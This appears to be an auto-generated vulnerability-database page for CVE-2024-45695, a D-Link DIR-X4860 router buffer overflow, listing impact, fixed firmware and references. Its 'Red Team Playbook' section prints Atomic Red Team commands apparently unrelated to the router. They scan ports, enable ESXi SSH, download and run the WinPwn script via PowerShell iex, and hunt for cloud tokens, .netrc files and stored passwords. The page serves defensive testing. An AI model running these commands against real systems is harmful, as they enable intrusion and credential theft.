CVE-2024-45695
Overview
This vulnerability is a stack-based buffer overflow in the web service component of certain D-Link DIR-X4860 wireless router firmware versions. The flaw arises from improper bounds checking on input data processed by the router's web interface, leading to memory corruption. The affected component is the router's embedded web service handling HTTP requests without adequate input validation.
Vulnerability Description
The web service of certain models of D-Link wireless routers contains a Stack-based Buffer Overflow vulnerability, which allows unauthenticated remote attackers to exploit this vulnerability to execute arbitrary code on the device.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code on the affected device, potentially gaining full control over the router. No user interaction or prior credentials are required, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N. Successful exploitation can lead to compromise of network traffic, disruption of service, and lateral movement within the network environment, severely impacting business operations that rely on the affected routers.
Solution
D-Link has released firmware updates addressing this vulnerability in versions beyond 1.04 for the DIR-X4860 model. Users should upgrade to the latest firmware version as detailed in the TWCert advisories (https://www.twcert.org.tw/en/cp-139-8083-a299e-2.html). The advisories provide step-by-step instructions for firmware upgrade and recommend immediate application to mitigate the risk. No alternative workarounds are specified.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in certain models of D-Link wireless routers is characterized by a stack-based buffer overflow within the web service component. This flaw arises when the application does not adequately validate or restrict the size of input data, allowing an attacker to overflow the stack memory. When an attacker sends specially crafted requests to the router's web service, they can overwrite the return address or other critical data on the stack. This manipulation can lead to arbitrary code execution, enabling the attacker to gain control over the device. The severity of this vulnerability is underscored by its high CVSS score, indicating a critical risk to the integrity and availability of the affected systems.
Exploitation of this vulnerability can occur through various attack vectors, primarily targeting the web interface of the router. An unauthenticated remote attacker can initiate an attack without needing physical access to the device or prior authentication, significantly increasing the risk profile. For instance, an attacker could use automated scripts to scan for vulnerable devices on the internet, sending crafted requests to exploit the buffer overflow. Once successful, the attacker could execute malicious code, potentially leading to the installation of backdoors, data exfiltration, or the router being repurposed as part of a botnet for further attacks.
The real-world impact of this vulnerability is substantial, particularly for businesses relying on D-Link routers for their networking infrastructure. Compromised routers can facilitate unauthorized access to sensitive internal networks, leading to data breaches and loss of customer trust. Additionally, the operational disruption caused by a successful exploit can result in significant financial losses, both from immediate remediation efforts and long-term reputational damage. Organizations may also face regulatory scrutiny and potential fines if customer data is compromised due to inadequate security measures. The risk is magnified in environments where multiple devices are interconnected, as a single compromised router can serve as a gateway to broader network vulnerabilities.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regular vulnerability assessments and penetration testing can help identify and remediate weaknesses in network devices. Additionally, network segmentation can limit the potential impact of an exploit by isolating critical systems from less secure devices. Organizations should also ensure that they are running the latest firmware versions provided by D-Link, as these updates often include patches for known vulnerabilities. Employing intrusion detection systems (IDS) can further enhance security by monitoring network traffic for signs of exploitation attempts, allowing for timely intervention.
In conclusion, the stack-based buffer overflow vulnerability in specific D-Link wireless routers poses a significant threat to both individual users and organizations. The ability for unauthenticated attackers to execute arbitrary code remotely highlights the critical need for robust security practices in network device management. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against such vulnerabilities. Implementing proactive detection and mitigation strategies will be essential in safeguarding against the exploitation of this and similar vulnerabilities in the future.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Dlink | Dir-X4860 Firmware | 1.00 |
cpe:2.3:o:dlink:dir-x4860_firmware:1.00:*:*:*:*:*:*:*
|
|
|
Dlink | Dir-X4860 Firmware | 1.04 |
cpe:2.3:o:dlink:dir-x4860_firmware:1.04:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-45695 |
| twcert.org.tw |
GitHub CVE
third-party-advisory
|
https://www.twcert.org.tw/tw/cp-132-8082-f1687-1.html |
| twcert.org.tw |
GitHub CVE
third-party-advisory
|
https://www.twcert.org.tw/en/cp-139-8083-a299e-2.html |